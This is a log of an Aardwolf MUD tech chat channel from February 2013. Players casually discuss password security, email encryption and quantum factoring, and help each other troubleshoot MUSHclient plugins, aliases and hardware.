T3/r7/2013-02-20.txt.gz:{chan ch=tech}Cizra Tech: ?
T3/r7/2013-02-20.txt.gz:{chan ch=tech}Trachx Tech: consider Nakamura / Mitnick case
T3/r7/2013-02-20.txt.gz:{chan ch=tech}Trachx Tech: usually the weakest point of security chain is human, I mean social engineering
T3/r7/2013-02-20.txt.gz:{chan ch=tech}Cizra Tech: Well? Mind telling about it?
T3/r7/2013-02-20.txt.gz:{chan ch=tech}Leinei Tech: Quantum computing is going to come and make all this obsolete :P
T3/r7/2013-02-20.txt.gz:{chan ch=tech}Cizra Tech: Leinei, are you sure? Consider that the biggest thing quantum computing has done so far is to factorize 15 into 3 times 5.
T3/r7/2013-02-20.txt.gz:{chan ch=tech}Cizra Tech: And that was a horrendously expensive and time-consuming research project.
T3/r7/2013-02-20.txt.gz:{chan ch=tech}Leinei Tech: Well, sure.  I didn't say it was coming next week
T3/r7/2013-02-20.txt.gz:{chan ch=tech}Trachx Tech: for gov security - consider last drone interception by Iran
T3/r7/2013-02-20.txt.gz:{chan ch=tech}Trachx Tech: for each lock you can always find good locksmith
T3/r7/2013-02-20.txt.gz:{chan ch=tech}Cizra Tech: In November 2011 researchers factorized 143 using 4 qubits.[50] yay, 143 already, not 15.
T3/r7/2013-02-20.txt.gz:{chan ch=tech}Vakieh Tech: Oh, Bear Chase is in regards to the joke - A pair of campers are awoken by the sound of a hungry bear snooping outside their tent. One camper panicks, the other puts on his shoes. The panicky camper says 'what, you can't outrun a bear' - the other says 'I don't have to outrun the bear, I just have to outrun you'
T3/r7/2013-02-20.txt.gz:{chan ch=tech}Vakieh Tech: panicks? sigh... panics
T3/r7/2013-02-20.txt.gz:{chan ch=tech}Cizra Tech: Heh, cool.
T3/r7/2013-02-20.txt.gz:{chan ch=tech}Vakieh Tech: It is a defence similar to Security through Obscurity
T3/r7/2013-02-20.txt.gz:{chan ch=tech}Leinei Tech: Nods, haven't followed it in a while.  Last I heard, they had only made a 2 qubit...processing thingy
T3/r7/2013-02-20.txt.gz:{chan ch=tech}Cizra Tech: Well, 2 bits is not much. I'm not exactly sure how much is 2 qbits, but I'd guess not enough to break anything. So for now, we're better off focusing on the very real problems. By the way, why's Aardwolf limited to 8-character passwords?
T3/r7/2013-02-20.txt.gz:{chan ch=tech}Cizra Tech: Well, I suppose it doesn't matter much as the passwords are transmitted over plaintext anyway...
T3/r7/2013-02-20.txt.gz:{chan ch=tech}Vakieh Tech: Aardwolf's hourlong ban policy would be my guess
T3/r7/2013-02-20.txt.gz:{chan ch=tech}Vakieh Tech: Adds a serious level of downtime over and above any timeframe for brute forcing things
T3/r7/2013-02-20.txt.gz:{chan ch=tech}Trachx Tech: a lot of security takes assumption that hardware layer is safe
T3/r7/2013-02-20.txt.gz:{chan ch=tech}Trachx Tech: if you have access to switches, routers then you can use sniffer to get passwords / logins for so popular protocols like POP3
T3/r7/2013-02-20.txt.gz:{chan ch=tech}Leinei Tech: To answer your question, probably because it uses DES encryption
T3/r7/2013-02-20.txt.gz:{chan ch=tech}Cizra Tech: So if you use numbers, lowercase and uppercase letters in your passwords, you have 218340105584896 different 8-char-long passwords to try...
T3/r7/2013-02-20.txt.gz:{chan ch=tech}Trachx Tech: people usually are lazy and use the same password for every account, and usually it is easy password
T3/r7/2013-02-20.txt.gz:{chan ch=tech}Cizra Tech: Trachx, who uses unencrypted POP3 anyway? Everywhere I've seen, it's behind SSL or TLS or something.
T3/r7/2013-02-20.txt.gz:{chan ch=tech}Vakieh Tech: Read the @W last paragraph in help password - 218340105584896 will not be that easy to traverse under such circumstances
T3/r7/2013-02-20.txt.gz:{chan ch=tech}Trachx Tech: you mean, when you configure Outlook, Outlook Express which both are widely used, then default is POP3S ? 
T3/r7/2013-02-20.txt.gz:{chan ch=tech}Cizra Tech: Yeah, I just did. I'm not saying anything about Aardwolf.
T3/r7/2013-02-20.txt.gz:{chan ch=tech}Cizra Tech: I have no clue, Trachx. I've never used either. Doesn't it depend on the server anyway, which one it accepts?
T3/r7/2013-02-20.txt.gz:{chan ch=tech}Trachx Tech: that's right, still POP3 is widely used, and it is more commont for server not to have POP3S than POP3
T3/r7/2013-02-20.txt.gz:{chan ch=tech}Cizra Tech: If the server admin is fool enough to allow unsecured POP3, then the admin might as well be fool enough to leave mail printouts lying around OSLT.
T3/r7/2013-02-20.txt.gz:{chan ch=tech}Trachx Tech: 'fool', why does http still exist? there should be only https as it is more secure, right ?
T3/r7/2013-02-20.txt.gz:{chan ch=tech}Cizra Tech: Er, I don't mind my Slashdot to be unencrypted...
T3/r7/2013-02-20.txt.gz:{chan ch=tech}Cizra Tech: It contains very little personal information (only the fact that I'm interested in Slashdotty things).
T3/r7/2013-02-20.txt.gz:{chan ch=tech}Cizra Tech: My mail, on the other hand, contains lots of stuff I'd hate to be public. Photos, for instance.
T3/r7/2013-02-20.txt.gz:{chan ch=tech}Leinei Tech: I remember when Gawker got hacked.  It was like nearly 1/3rd of all users had like one of six passwords.
T3/r7/2013-02-20.txt.gz:{chan ch=tech}Leinei Tech: Or something insane like that
T3/r7/2013-02-20.txt.gz:{chan ch=tech}Stickyicky Weed Tech: Any mush pros on?
T3/r7/2013-02-20.txt.gz:{chan ch=tech}Leinei Tech: Oh wait, Slashdot isn't Gawker, is it?
T3/r7/2013-02-20.txt.gz:{chan ch=tech}Cizra Tech: No clue what Gawker is...
T3/r7/2013-02-20.txt.gz:{chan ch=tech}Leinei Tech: deadspin, kotaku, lifehacker...all those sites
T3/r7/2013-02-20.txt.gz:{chan ch=tech}Leinei Tech: gizmodo
T3/r7/2013-02-20.txt.gz:{chan ch=tech}Leinei Tech: Was thinking Slashdot was one of them.  Evidently, I don't know what slashdot is
T3/r7/2013-02-20.txt.gz:{chan ch=tech}Cizra Tech: And I don't know what deadspin, kotaku are.
T3/r7/2013-02-20.txt.gz:{chan ch=tech}Cizra Tech: Yay, our intersection of interests is an empty set.
T3/r7/2013-02-20.txt.gz:{chan ch=tech}Trachx Tech: repla
T3/r7/2013-02-20.txt.gz:{chan ch=tech}Trachx Tech: anyway, for security reasons, do you encrypt all of your email ?
T3/r7/2013-02-20.txt.gz:{chan ch=tech}Vakieh Tech: Lifehacker and Kotaku are both Gizmodo, the daily mail-esque scum of the online journalism world. Seriously, they are hack, awful productions.
T3/r7/2013-02-20.txt.gz:{chan ch=tech}Cizra Tech: In transfer, yes.
T3/r7/2013-02-20.txt.gz:{chan ch=tech}Runtur Vanion Tech: its simple if it has a yahoo email. I dont trust it :p
T3/r7/2013-02-20.txt.gz:{chan ch=tech}Runtur Vanion Tech: 80% of 411 scams have been through them iirc
T3/r7/2013-02-20.txt.gz:{chan ch=tech}Cizra Tech: Oh, did you mean end-to-end encryption with PGP/MIME or similar? No, I don't do that. I'd gladly, but the world is not ready.
T3/r7/2013-02-20.txt.gz:{chan ch=tech}Trachx Tech: well I've tried to use GPG, but it was too much work for recipients
T3/r7/2013-02-20.txt.gz:{chan ch=tech}Cizra Tech: Can be fixed with more tech. Cached keys on the recipient side or something. Besides, email is becoming less in importance anyway, it seems.
T3/r7/2013-02-20.txt.gz:{chan ch=tech}Runtur Vanion Tech: many ppl divert from emails mainly because they cant send files larger than 15mb in most cases
T3/r7/2013-02-20.txt.gz:{chan ch=tech}Leinei Tech: Quit
T3/r7/2013-02-20.txt.gz:{chan ch=tech}Leinei Tech: mis :P
T3/r7/2013-02-20.txt.gz:{chan ch=tech}Stickyicky Weed Tech: {sfail}480,0,2,-1
T3/r7/2013-02-20.txt.gz:{chan ch=tech}Stickyicky Weed Tech: what tags is this jazz? How do I turn it off?
T3/r7/2013-02-20.txt.gz:{chan ch=tech}Runtur Vanion Tech: statmon
T3/r7/2013-02-20.txt.gz:{chan ch=tech}Stickyicky Weed Tech: no its a spell tag
T3/r7/2013-02-20.txt.gz:{chan ch=tech}Redryn Tech: spelltags
T3/r7/2013-02-20.txt.gz:{chan ch=tech}Stickyicky Weed Tech: thank you tho
T3/r7/2013-02-20.txt.gz:{chan ch=tech}Runtur Vanion Tech: right :p early for me :p
T3/r7/2013-02-20.txt.gz:{chan ch=tech}Redryn Tech: sfail for you!
T3/r7/2013-02-20.txt.gz:{chan ch=tech}Runtur Vanion Tech: i can live  with it :)
T3/r7/2013-02-20.txt.gz:{chan ch=tech}Scars Tech: well this is strange, i copied my aardclient stuff to google drive, i open mushclient from a new location and it appears as though my display settings are not here
T3/r7/2013-02-20.txt.gz:{chan ch=tech}Scars Tech: actually, it looks like none of my settings are really here
T3/r7/2013-02-20.txt.gz:{chan ch=tech}Scars Tech: i moved the whole folder over
T3/r7/2013-02-20.txt.gz:{chan ch=tech}Scars Tech: check that, my aliases and stuff made it, it looks like it's just the plugins that failed
T3/r7/2013-02-20.txt.gz:{chan ch=tech}Kelvar Tech: does any plugin for respelling exist?
T3/r7/2013-02-20.txt.gz:{chan ch=tech}Thunderax Tech: download basts plugins
T3/r7/2013-02-20.txt.gz:{chan ch=tech}Scars Tech: hmm... for some reason mush is sending command "to world" and "to execute" at the same time, or somethign ot that effect
T3/r7/2013-02-20.txt.gz:{chan ch=tech}Scars Tech: Anyone know why MUSH would try to both "execute" and "send to world" an alias?
T3/r7/2013-02-20.txt.gz:{chan ch=tech}Scars Tech: or, for that matter, everything?
T3/r7/2013-02-20.txt.gz:{chan ch=tech}Swalec Tech: one expands aliases one doesn't
T3/r7/2013-02-20.txt.gz:{chan ch=tech}Scars Tech: what i mean is that i type in my alias, which is sent to "execute"
T3/r7/2013-02-20.txt.gz:{chan ch=tech}Scars Tech: and it does what i expect it to do
T3/r7/2013-02-20.txt.gz:{chan ch=tech}Scars Tech: but it also gives me a bunch of aard-based syntax error type stuff
T3/r7/2013-02-20.txt.gz:{chan ch=tech}Scars Tech: which tells me that it's taking my alias input and executing it, but also sending it a literal thing to "world"
T3/r7/2013-02-20.txt.gz:{chan ch=tech}Scars Tech: and that's very strange to me
T3/r7/2013-02-20.txt.gz:{chan ch=tech}Scars Tech: i'm wondering if a plugin died on me or something
T3/r7/2013-02-20.txt.gz:{chan ch=tech}Scars Tech: but i don't even know where to check this
T3/r7/2013-02-20.txt.gz:{chan ch=tech}Trachx Tech: maybe you have some triggers also
T3/r7/2013-02-20.txt.gz:{chan ch=tech}Scars Tech: no triggers
T3/r7/2013-02-20.txt.gz:{chan ch=tech}Trachx Tech: you can check what is sent to mud by turning on echo
T3/r7/2013-02-20.txt.gz:{chan ch=tech}Scars Tech: i have echo on
T3/r7/2013-02-20.txt.gz:{chan ch=tech}Scars Tech: if i type aard layout lock, i get this
T3/r7/2013-02-20.txt.gz:{chan ch=tech}Scars Tech: Current layout lock status: LOCKED (line break) There is no layout within Aardwolf.
T3/r7/2013-02-20.txt.gz:{chan ch=tech}Scars Tech: i'd bet you don't get that second bit
T3/r7/2013-02-20.txt.gz:{chan ch=tech}Trachx Tech: I get LOCKED/UNLOCKED message
T3/r7/2013-02-20.txt.gz:{chan ch=tech}Scars Tech: right, and while i do get that.. i get the extra bit
T3/r7/2013-02-20.txt.gz:{chan ch=tech}Trachx Tech: have you tried 'echocommands' ?
T3/r7/2013-02-20.txt.gz:{chan ch=tech}Thunderous Norton Tech: sounds like its also sending it as a command scars and trying to perform the aard social
T3/r7/2013-02-20.txt.gz:{chan ch=tech}Scars Tech: Current layout lock status: LOCKED  (br) You entered:: aard layout lock (br) There is no layout within Aardwolf.
T3/r7/2013-02-20.txt.gz:{chan ch=tech}Scars Tech: right, so instead of execute locally, it's sending the commands to the game... and i don't know why
T3/r7/2013-02-20.txt.gz:{chan ch=tech}Thunderous Norton Tech: its doing both
T3/r7/2013-02-20.txt.gz:{chan ch=tech}Scars Tech: right, sorry, i meant instead of just*
T3/r7/2013-02-20.txt.gz:{chan ch=tech}Scars Tech: i'm at a loss here, though... i don't know why it's doing this
T3/r7/2013-02-20.txt.gz:{chan ch=tech}Trachx Tech: maybe some plugin is not working
T3/r7/2013-02-20.txt.gz:{chan ch=tech}Scars Tech: right, but because i'm using the base aardclient package with winkles spellup bot thing... i'm not even sure which one of them would be broke
T3/r7/2013-02-20.txt.gz:{chan ch=tech}Trachx Tech: aard_layout.xml
T3/r7/2013-02-20.txt.gz:{chan ch=tech}Scars Tech: my point is that it's not just aard layout that does this
T3/r7/2013-02-20.txt.gz:{chan ch=tech}Scars Tech: pick ANY command that would change a setting, and it'll try and send it to the game too
T3/r7/2013-02-20.txt.gz:{chan ch=tech}Trachx Tech: or rather aard_helper_aliases plugin
T3/r7/2013-02-20.txt.gz:{chan ch=tech}Scars Tech: i tried reinstalling all of the plugins, too
T3/r7/2013-02-20.txt.gz:{chan ch=tech}Trachx Tech: it seems like some debug info on
T3/r7/2013-02-20.txt.gz:{chan ch=tech}Thunderous Norton Tech: nah. sounds more like there's a trigger somewhere with * as its pattern thats just sending to to mud
T3/r7/2013-02-20.txt.gz:{chan ch=tech}Trachx Tech: if it is trigger then you probably want disable all plugins and turn off alias and trigger execution
T3/r7/2013-02-20.txt.gz:{chan ch=tech}Trachx Tech: then turn on each piece one by one starting with aard_helper_aliases
T3/r7/2013-02-20.txt.gz:{chan ch=tech}Scars Tech: not sure i understand how that fixed the problem
T3/r7/2013-02-20.txt.gz:{chan ch=tech}Trachx Tech: as a lot of plugins acts just like triggers
T3/r7/2013-02-20.txt.gz:{chan ch=tech}Scars Tech: still getting it
T3/r7/2013-02-20.txt.gz:{chan ch=tech}Scars Tech: mis
T3/r7/2013-02-20.txt.gz:{chan ch=tech}Otep Tech: iso techy help with mapper
T3/r7/2013-02-20.txt.gz:{chan ch=tech}Blooddog Tech: anyone on using bbssh? I can't seem to send messages from the client it doesn't even want to write a message...
T3/r7/2013-02-20.txt.gz:{chan ch=tech}Mendaloth Tech: I have a button which re-sorts data by a column in an Excel Spreadsheet, can anyone think of a way to this without a macro or without making the user go to sort dailog?
T3/r7/2013-02-20.txt.gz:{chan ch=tech}Aqiz Tech: key bind
T3/r7/2013-02-20.txt.gz:{chan ch=tech}Mendaloth Tech: Would I key bind the macro though?
T3/r7/2013-02-20.txt.gz:{chan ch=tech}Aqiz Tech: I would assujme you can do something along the lines 
T3/r7/2013-02-20.txt.gz:{chan ch=tech}Scars Tech: okay, i think there's now something wrong with my inventory object ID plugin or something
T3/r7/2013-02-20.txt.gz:{chan ch=tech}Scars Tech: when i type inv, i sends inv twice... once without ojbect ID's next to it, and right after it the same thing but with the object ID's next to it
T3/r7/2013-02-20.txt.gz:{chan ch=tech}Scars Tech: reinstalling didn't work
T3/r7/2013-02-20.txt.gz:{chan ch=tech}Scars Tech: enable/disable didn't work
T3/r7/2013-02-20.txt.gz:{chan ch=tech}Scars Tech: thoughts?
T3/r7/2013-02-20.txt.gz:{chan ch=tech}Bast Tech: which eq plugins do you have loaded?
T3/r7/2013-02-20.txt.gz:{chan ch=tech}Scars Tech: the one that comes with the aardclient... inventory_serials
T3/r7/2013-02-20.txt.gz:{chan ch=tech}Scars Tech: aardwolf_inventory_serials
T3/r7/2013-02-20.txt.gz:{chan ch=tech}Scars Tech: the info on the plugin didn't seem to have a help built in to it
T3/r7/2013-02-20.txt.gz:{chan ch=tech}Bast Tech: do you also have mine loaded?
T3/r7/2013-02-20.txt.gz:{chan ch=tech}Scars Tech: i do not
T3/r7/2013-02-20.txt.gz:{chan ch=tech}Scars Tech: the only plugin i have that doesn't come out of the box is winkle's spellup
T3/r7/2013-02-20.txt.gz:{chan ch=tech}Scars Tech: i can live without the plugin, i just find it's behavior to be odd
T3/r7/2013-02-20.txt.gz:{chan ch=tech}Scars Tech: woah, that's new... when i scroll back i get this pop up window of "recent messages"  how do i make that go away?
T3/r7/2013-02-20.txt.gz:{chan ch=tech}Scars Tech: "recent output" sorry
T3/r7/2013-02-20.txt.gz:{chan ch=tech}Ontuct Tech: don't scroll up
T3/r7/2013-02-20.txt.gz:{chan ch=tech}Tech: didn't I walk you through installing that plugin because you were unhappy with how MUSH didn't have a real split-window for scrollback?
T3/r7/2013-02-20.txt.gz:{chan ch=tech}Scars Tech: not that i recall, no
T3/r7/2013-02-20.txt.gz:{chan ch=tech}HelperMan Hadar Tech: im trying to set the max number for a html field with JS using document.getElementsByName("level").max = '201'; ... but it does not seem to work, the max lets me go past 201, any suggestions?
T3/r7/2013-02-20.txt.gz:{chan ch=tech}Tech: scars: that should be the Current_Output_Window.xml plugin
T3/r7/2013-02-20.txt.gz:{chan ch=tech}Scars Tech: bingo
T3/r7/2013-02-20.txt.gz:{chan ch=tech}Scars Tech: thanks
T3/r7/2013-02-20.txt.gz:{chan ch=tech}Scars Tech: apparently that came with the download
T3/r7/2013-02-20.txt.gz:{chan ch=tech}Scars Tech: i'm already used to double clicking the "MORE" thing at the bottom, so that was just annoying
T3/r7/2013-02-20.txt.gz:{chan ch=tech}Bast Tech: as for your inventory thing, if you unload the serials plugin, does it show twice?
T3/r7/2013-02-20.txt.gz:{chan ch=tech}Scars Tech: no, if i remove the inventory_serials plugin, it does not show twice
T3/r7/2013-02-20.txt.gz:{chan ch=tech}Bast Tech: what plugins do you have loaded? because it seems to me that something else is reading between the <invdata> tags but not omitting them like the serials plugin
T3/r7/2013-02-20.txt.gz:{chan ch=tech}Scars Tech: its being caused by one of the nick gammon plug ins
T3/r7/2013-02-20.txt.gz:{chan ch=tech}Scars Tech: i had this problem earlier, where everything i type in is executed and sent to world
T3/r7/2013-02-20.txt.gz:{chan ch=tech}Scars Tech: so it's doing "inv" and utilizing the serials plugin, and also sending "inv" to the game
T3/r7/2013-02-20.txt.gz:{chan ch=tech}Scars Tech: ANSI_Log is the problem
T3/r7/2013-02-20.txt.gz:{chan ch=tech}Scars Tech: yup, removed that and all is well
T3/r7/2013-02-20.txt.gz:{chan ch=tech}Scars Tech: strange
T3/r7/2013-02-20.txt.gz:{chan ch=tech}Phe Tech: does anyone know about using mudwalker on a mac?
T3/r7/2013-02-20.txt.gz:{chan ch=tech}Otep Tech: How does one even set an aliase in mush?
T3/r7/2013-02-20.txt.gz:{chan ch=tech}Otep Tech: like for lasertag
T3/r7/2013-02-20.txt.gz:{chan ch=tech}Getsuko Tech: control-shift-9
T3/r7/2013-02-20.txt.gz:{chan ch=tech}Fluffhead Tech: alt-F4
T3/r7/2013-02-20.txt.gz:{chan ch=tech}Fluffhead Tech: that's mean, I meant to say F1
T3/r7/2013-02-20.txt.gz:{chan ch=tech}Otep Tech: getsuko hmu for a prize after this game
T3/r7/2013-02-20.txt.gz:{chan ch=tech}Phe Tech: what is the standard variable in mushclient when making an alias? i.e. if i want r 'x' to reply 'x', what would i use for 'x'?
T3/r7/2013-02-20.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: are you looking for a pointer to documentation?
T3/r7/2013-02-20.txt.gz:{chan ch=tech}Leonassan Tech: 0x3A28213A
T3/r7/2013-02-20.txt.gz:{chan ch=tech}Getsuko Tech: There is an explanation here: http://www.gammon.com.au/forum/?id=7794
T3/r7/2013-02-20.txt.gz:{chan ch=tech}Getsuko Tech: number 22
T3/r7/2013-02-20.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: http://www.mushclient.com/forum/?id=8084
T3/r7/2013-02-20.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: Getsuko: you know you can link directly to reply numbers
T3/r7/2013-02-20.txt.gz:{chan ch=tech}Getsuko Tech: number 22cons
T3/r7/2013-02-20.txt.gz:{chan ch=tech}Getsuko Tech: mis*
T3/r7/2013-02-20.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: oh that's the faq, never mind
T3/r7/2013-02-20.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: just add #22 to the url
T3/r7/2013-02-20.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: (only for the faq)
T3/r7/2013-02-20.txt.gz:{chan ch=tech}Getsuko Tech: do people get the 'unable to create save state' error messages from mush?
T3/r7/2013-02-20.txt.gz:{chan ch=tech}BobTheGreat Tech: What are you trying?
T3/r7/2013-02-20.txt.gz:{chan ch=tech}Getsuko Tech: nothing, randomly stuff triggers it.  I can tell it's coming from miniwins like the score miniwin
T3/r7/2013-02-20.txt.gz:{chan ch=tech}Getsuko Tech: I also have bast's plugins.  Sometimes when vote turns red, it also pops up
T3/r7/2013-02-20.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: are you using windows vista, 7, or 8?
T3/r7/2013-02-20.txt.gz:{chan ch=tech}Getsuko Tech: 7
T3/r7/2013-02-20.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: is mushclient in your program files?
T3/r7/2013-02-20.txt.gz:{chan ch=tech}Getsuko Tech: It didn't used to do this.... only started a couple days ago.  Mush is in my documents folder (haha don't ask)
T3/r7/2013-02-20.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: my documents is fine
T3/r7/2013-02-20.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: I'd reboot and if it persists check the drive for errors
T3/r7/2013-02-20.txt.gz:{chan ch=tech}Getsuko Tech: Good idea.  I haven't restarted in awhile.... It's an SSD so I wouldn't think there are errors
T3/r7/2013-02-20.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: SSDs fail all the time
T3/r7/2013-02-20.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: they're rather notorious for firmware problems
T3/r7/2013-02-20.txt.gz:{chan ch=tech}Getsuko Tech: and it's a new SSD as of a few months ago
T3/r7/2013-02-20.txt.gz:{chan ch=tech}Rondel Tech: aren't they relatively new to the market... bound to be a few kinks for the coming years
T3/r7/2013-02-20.txt.gz:{chan ch=tech}Leonassan Tech: Getsuko: He's trying to help you troubleshoot. While there probably isn't anything wrong with the drive checking it eliminates that as a possibility.
T3/r7/2013-02-20.txt.gz:{chan ch=tech}Getsuko Tech: I know ::)
T3/r7/2013-02-20.txt.gz:{chan ch=tech}Leonassan Tech: Rondel: SSDs have been around quite a while now, though compared to standard hard disks they are fairly new.
T3/r7/2013-02-20.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: SSDs have been around for a while, but MLC drive firmware is still relatively nascent technology
T3/r7/2013-02-20.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: all kinds of tricks have to be employed because MLC cells wear rapidly
T3/r7/2013-02-20.txt.gz:{chan ch=tech}Getsuko Tech: does anyone know where the mapper data is stored?
T3/r7/2013-02-20.txt.gz:{chan ch=tech}Getsuko Tech: I am trying to reinstall mush
T3/r7/2013-02-20.txt.gz:{chan ch=tech}Big Meaty Cheezburger Tech: aardwolf.db
T3/r7/2013-02-20.txt.gz:{chan ch=tech}Getsuko Tech: ty
T3/r7/2013-02-20.txt.gz:{chan ch=tech}Otep Tech: iso help with triggers concerning mushclient
T3/r7/2013-02-20.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: ?
T3/r7/2013-02-20.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: that's not a question
T3/r7/2013-02-20.txt.gz:{chan ch=tech}Getsuko Tech: By the way, the errors I was getting earlier (unable to save state), Bast figured out it's probably permission errors due to it being in My Documents. Put MushClient into C:/games and it works better
T3/r7/2013-02-20.txt.gz:{chan ch=tech}Aweyn Tech: I had something similar in Morrowind. Apparently the program file dir was full of impassable permissions.
T3/r7/2013-02-20.txt.gz:{chan ch=tech}Getsuko Tech: Oh Windows
T3/r7/2013-02-20.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: My Documents has problems too? sigh
T3/r7/2013-02-21.txt.gz:{chan ch=tech}Mokg Tech: hard drive making a squeaking noise, any ideas? (not a clicking, SQUEAKING)
T3/r7/2013-02-21.txt.gz:{chan ch=tech}Daloran Tech: its broke
T3/r7/2013-02-21.txt.gz:{chan ch=tech}Mokg Tech: damn, wonder how its still running windows mush and many other programs :(
T3/r7/2013-02-21.txt.gz:{chan ch=tech}Getsuko Tech: Turn it off! make a backup asap
T3/r7/2013-02-21.txt.gz:{chan ch=tech}Daloran Tech: Back up, and replace.
T3/r7/2013-02-21.txt.gz:{chan ch=tech}Buried Dreadlocker Tech: Mouse possessed your HDD Mokg :P
T3/r7/2013-02-21.txt.gz:{chan ch=tech}Mokg Tech: only periodically squeaks, maybe 3 minutes every few days
T3/r7/2013-02-21.txt.gz:{chan ch=tech}Daloran Tech: regardless, backup your stuff. =p
T3/r7/2013-02-21.txt.gz:{chan ch=tech}Getsuko Tech: At least put mush on a thumbdrive
T3/r7/2013-02-21.txt.gz:{chan ch=tech}Mokg Tech: guess I can justify getting an SSD now
T3/r7/2013-02-21.txt.gz:{chan ch=tech}Aweyn Tech: What OS is everyone using?
T3/r7/2013-02-21.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: EVERYONE?
T3/r7/2013-02-21.txt.gz:{chan ch=tech}Getsuko Tech: Is there any way to reload a plugin via a mush command?
T3/r7/2013-02-21.txt.gz:{chan ch=tech}Getsuko Tech: Win7
T3/r7/2013-02-21.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: http://www.mushclient.com/scripts/function.php?name=ReloadPlugin
T3/r7/2013-02-21.txt.gz:{chan ch=tech}Daloran Tech: Win7 x64 Ultimate checking in
T3/r7/2013-02-21.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: Fedora 17
T3/r7/2013-02-21.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: 64 bit
T3/r7/2013-02-21.txt.gz:{chan ch=tech}Getsuko Tech: thank you sir!
T3/r7/2013-02-21.txt.gz:{chan ch=tech}Vliam Tech: I'm on a Mint Nadia system at the moment... I need a better client though.  I'm using Mudlet. meh.
T3/r7/2013-02-21.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: MUSHclient works perfectly in Wine for me
T3/r7/2013-02-21.txt.gz:{chan ch=tech}Getsuko Tech: Okay this is a dumb question... but I forgot how to do this and I forgot where to find the way to do it: how do I run a script command at the command line (like a one-off)?
T3/r7/2013-02-21.txt.gz:{chan ch=tech}Vliam Tech: not really interested in Wine just for a mud client
T3/r7/2013-02-21.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: You should have Wine installed anyway because Wine is a really cool project
T3/r7/2013-02-21.txt.gz:{chan ch=tech}Getsuko Tech: Ah it's /!
T3/r7/2013-02-21.txt.gz:{chan ch=tech}Daloran Tech: You should install wine in to your mouth.
T3/r7/2013-02-21.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: \\\
T3/r7/2013-02-21.txt.gz:{chan ch=tech}Aweyn Tech: Ooh. What client are you using for Fedora? I'm dual booting xp/mint but I'm running the mush aardwolf package since I wasn't sure if there'd be something good to run for Linux, with all the plugins and stuff. WINE never ran anything for me >.>
T3/r7/2013-02-21.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: The Aardwolf MUSHclient package uses \\\ by default to run scripts from input
T3/r7/2013-02-21.txt.gz:{chan ch=tech}Getsuko Tech: Thanks :)  for some reason it's / for me... I may have changed it
T3/r7/2013-02-21.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: Aweyn: I'd feel really bad if I didn't use the aardwolf mushclient package myself
T3/r7/2013-02-21.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: I'm not used to people asking me what client I use
T3/r7/2013-02-21.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: most people these days know I work on aardwolf mushclient
T3/r7/2013-02-21.txt.gz:{chan ch=tech}Tech: Rusk grins evilly at The Jerk Fiendish.
T3/r7/2013-02-21.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: if you have problems with Wine, though, I might be able to provide a small amount of help since I've managed to work around problems in the past
T3/r7/2013-02-21.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: (though it works almost perfectly at the moment barring a 1 pixel drawing issue in the mapper that doesn't happen in Windows)
T3/r7/2013-02-21.txt.gz:{chan ch=tech}Aweyn Tech: colorcheck
T3/r7/2013-02-21.txt.gz:{chan ch=tech}Aweyn Tech: colorcheck
T3/r7/2013-02-21.txt.gz:{chan ch=tech}Aweyn Tech: Soz ^^'
T3/r7/2013-02-21.txt.gz:{chan ch=tech}Oblyx Tech: am I able to lock down the miniwindows in MUSHclient?
T3/r7/2013-02-21.txt.gz:{chan ch=tech}Ophelion Tech: for aardmush use "aard layout lock" for bast plugins click the M>Toggle>lock window in place
T3/r7/2013-02-21.txt.gz:{chan ch=tech}Oblyx Tech: thank you
T3/r7/2013-02-21.txt.gz:{chan ch=tech}Scars Tech: only downside i've noticed so far is that it's kind of annoying having to resize the windows, but meh
T3/r7/2013-02-21.txt.gz:{chan ch=tech}Scars Tech: mis
T3/r7/2013-02-21.txt.gz:{chan ch=tech}Must be on Topfox Tech: what is the smalest sized full movies you can download on the net and where?
T3/r7/2013-02-21.txt.gz:{chan ch=tech}Seltsimees Dagnir Tech: wrong place for that
T3/r7/2013-02-21.txt.gz:{chan ch=tech}Otep Tech: Dagnir > Starphoenix
T3/r7/2013-02-21.txt.gz:{chan ch=tech}Seltsimees Dagnir Tech: ?
T3/r7/2013-02-21.txt.gz:{chan ch=tech}Otep Tech: channel nazi
T3/r7/2013-02-21.txt.gz:{chan ch=tech}Otep Tech: wasnt it her that was real bad about it when i was last active? thought that was the right name. so many come and go cant remember
T3/r7/2013-02-21.txt.gz:{chan ch=tech}Seltsimees Dagnir Tech: no idea
T3/r7/2013-02-21.txt.gz:{chan ch=tech}Vakieh Tech: Anyone else repeatedly dropping aard connection? Internet working fine otherwise...
T3/r7/2013-02-21.txt.gz:{chan ch=tech}Seltsimees Dagnir Tech: try traceroute
T3/r7/2013-02-21.txt.gz:{chan ch=tech}Aweyn Tech: Actually now that you mention it. I'm fairly sure mine a wifi problem, though. Just in case
T3/r7/2013-02-21.txt.gz:{chan ch=tech}Trachx Tech: or set pagesize if your connection drops while executing who
T3/r7/2013-02-21.txt.gz:{chan ch=tech}Vakieh Tech: Not doing anything unusual, just randomly lag out, reconnects nearly immediately after the lag spike
